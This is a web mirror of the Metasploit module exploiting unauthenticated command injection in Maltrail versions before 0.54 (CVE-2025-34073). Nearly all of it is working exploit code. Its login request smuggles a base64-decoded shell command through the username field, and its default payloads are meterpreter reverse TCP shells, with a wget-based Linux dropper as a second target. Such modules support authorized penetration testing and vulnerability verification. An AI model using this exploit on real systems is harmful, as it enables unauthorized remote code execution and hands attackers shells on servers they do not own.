Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/maltrail_rce.rb
28839 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::CmdStager
11
prepend Msf::Exploit::Remote::AutoCheck
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Maltrail Unauthenticated Command Injection',
18
'Description' => %q{
19
Maltrail is a malicious traffic detection system, utilizing publicly
20
available blacklists containing malicious and/or generally suspicious trails.
21
The Maltrail versions <= 0.54 is suffering from a command injection vulnerability.
22
The `subprocess.check_output` function in `mailtrail/core/httpd.py` contains
23
a command injection vulnerability in the `params.get("username")` parameter.
24
An attacker can exploit this vulnerability by injecting arbitrary OS commands
25
into the username parameter. The injected commands will be executed with the
26
privileges of the running process. This vulnerability can be exploited remotely
27
without authentication.
28
29
Successfully tested against Maltrail versions 0.52 and 0.53.
30
},
31
'License' => MSF_LICENSE,
32
'Author' => [
33
'Ege BALCI <egebalci[at]pm.me>', # msf module
34
'Valentin Lobstein', # Add CVE reference + rewrite
35
'Chris Wild', # original PoC, analysis
36
],
37
'References' => [
38
['CVE', '2025-34073'],
39
['EDB', '51676'],
40
['CVE', '2025-34073'],
41
['URL', 'https://huntr.dev/bounties/be3c5204-fbd9-448d-b97c-96a8d2941e87/'],
42
['URL', 'https://github.com/stamparm/maltrail/issues/19146']
43
],
44
'Privileged' => false,
45
'Targets' => [
46
[
47
'Unix Command',
48
{
49
'Platform' => 'unix',
50
'Arch' => ARCH_CMD,
51
'Type' => :unix_cmd,
52
'DefaultOptions' => {
53
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
54
}
55
}
56
],
57
[
58
'Linux Dropper',
59
{
60
'Platform' => 'linux',
61
'Arch' => [ARCH_X86, ARCH_X64],
62
'Type' => :linux_dropper,
63
'CmdStagerFlavor' => :wget,
64
'DefaultOptions' => {
65
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
66
}
67
}
68
]
69
],
70
'DisclosureDate' => '2023-07-31',
71
'DefaultTarget' => 0,
72
'Notes' => {
73
'Stability' => [CRASH_SAFE],
74
'Reliability' => [REPEATABLE_SESSION],
75
'SideEffects' => []
76
}
77
)
78
)
79
register_options(
80
[
81
Opt::RPORT(8338),
82
OptString.new('TARGETURI', [ true, 'The URI of the Maltrail server', '/'])
83
]
84
)
85
end
86
87
def check
88
res = send_request_cgi(
89
'uri' => normalize_uri(target_uri.path),
90
'method' => 'GET'
91
)
92
return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
93
return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200
94
95
version = Rex::Version.new(Regexp.last_match(1)) if res.body =~ %r{\(v<b>([0-9.]+)</b>\)}
96
97
if version < Rex::Version.new('0.54')
98
return CheckCode::Appears("Version Detected: #{version}")
99
end
100
101
CheckCode::Safe("Version Detected: #{version}")
102
end
103
104
def execute_command(cmd, _opts = {})
105
send_request_cgi(
106
'uri' => normalize_uri(target_uri.path, 'login'),
107
'method' => 'POST',
108
'uri_encode_mode' => 'none',
109
'headers' => {
110
'ctype' => 'application/x-www-form-urlencoded'
111
},
112
'data' => "username=;`echo+\"#{Rex::Text.encode_base64(cmd)}\"+|+base64+-d+|+sh;#`"
113
)
114
end
115
116
def exploit
117
case target['Type']
118
when :unix_cmd
119
print_status("Executing #{target.name}...")
120
execute_command(payload.encoded)
121
when :linux_dropper
122
print_status("Executing #{target.name}...")
123
execute_cmdstager
124
end
125
end
126
end
127
128